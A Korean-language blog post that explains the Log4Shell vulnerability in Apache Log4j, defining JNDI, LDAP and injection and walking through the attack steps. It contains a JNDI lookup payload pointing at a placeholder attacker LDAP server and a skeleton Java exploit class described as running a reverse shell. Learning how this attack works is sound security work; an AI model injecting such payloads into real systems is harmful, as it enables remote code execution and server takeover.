DEV Community

Se-ok Jeon
Se-ok Jeon

Posted on • Edited on

Log4Shell

Log4Shell(Log for Shell)

Log4Shell은 Oracle에서 CVSS 10점을 받은 매우 위험한 취약점으로, 랜섬웨어 공격과 크립토마이너 악성코드에 자주 사용됩니다. 이 취약점은 Apache의 Log4j에서 발견된 결함으로, 자바 생태계에서 널리 사용되는 만큼 vCenter, Windows, VMware Horizon 등 다양한 플랫폼에서 피해를 입혔습니다. 실제로 HP 서버에 침입한 크립토마이너는 8일 동안 63만 개의 랩토리움 암호화폐를 채굴하기도 했습니다.

용어

이름

왜 Log4Shell인가?

Log4Shell은 Log4j에서 유래한 이름입니다. Log4j의 "j"는 자바를 의미하며, 이는 "Log for Java"로 자바를 위한 로깅 유틸리티를 나타냅니다. 마찬가지로 "Log for Shell"은 쉘을 위한 로깅을 의미합니다.

Shell?

여기서 "Shell"은 운영체제를 제어할 수 있는 프로그램을 뜻합니다. 따라서 Log4Shell 취약점은 공격자가 쉘을 얻기 위해(운영체제의 제어권을 획득하기 위해) 로깅 기능을 악용하는 취약점입니다.

취약점 공격 과정

Log4Shell은 로그에 JNDI Injection을 통해 외부 LDAP 서버로부터 악성 코드를 다운로드하고 실행하는 공격 방식입니다.

injection

사이버 보안에서 "Injection"은 프로그램에 예상치 못한 값을 입력하여 비정상적으로 동작하게 하는 기법입니다. Log4j에서는 JNDI 기능을 통해 개발자가 로그에 정보를 남길 수 있지만, 공격자는 이를 악용하여 외부 LDAP 서버와 통신하게 합니다.

JNDI(Java Naming and Directory Interface)

JNDI는 자바 애플리케이션이 데이터베이스나 메시징 서비스와 같은 다양한 자원에 접근할 수 있도록 해주는 API입니다. 이를 통해 애플리케이션은 리소스의 위치를 하드코딩하지 않고 유연하게 관리할 수 있습니다.

LDAP(Lightweight Directory Access Protocol)

LDAP는 네트워크에서 디렉터리 정보를 효율적으로 접근하고 관리하기 위한 프로토콜입니다. 사용자, 그룹, 장치 등의 정보를 트리 구조로 저장하여 신속한 검색이 가능하게 합니다.

실습

세부 과정

공격자의 입장

  1. Log4j를 통해 로깅될 수 있는 포인트(가령 username, password, url 등등)를 탐색하고 선정합니다.
  2. 공격자가 준비한 LDAP 서버에서 악성 코드를 다운로드하도록 설정된 JNDI를 해당 포인트에 삽입합니다. injected JNDI
  3. 로깅이 발생하도록 요청을 전송합니다.

log4j의 입장

  1. 일반적인 웹 요청이 도착합니다.
  2. 웹 요청에서 로깅할 부분을 파싱합니다.
  3. 파싱한 부분에서 JNDI를 발견하면, JNDI를 실행합니다. ${jndi:ldap://IP:PORT/a}
  4. JNDI 코드에 의해 공격자의 LDAP 서버에서 악성 코드가 다운로드됩니다. LDAP Serving Malware called a
  5. a 즉, 악성 코드는 java Class 오브젝트이므로 로드될 때 생성자 코드가 실행됩니다.

    public class Exploit {
    
        public Exploit() throws Exception {
            // 이 위치에 있는 리버스 쉘 코드 실행!
        }
    }
    
  6. 공격자에게 리버스 쉘 요청을 보내는 코드가 실행되면서, 공격자는 피해 대상 컴퓨터의 쉘을 획득하게 됩니다.
    Attack Success

Top comments (0)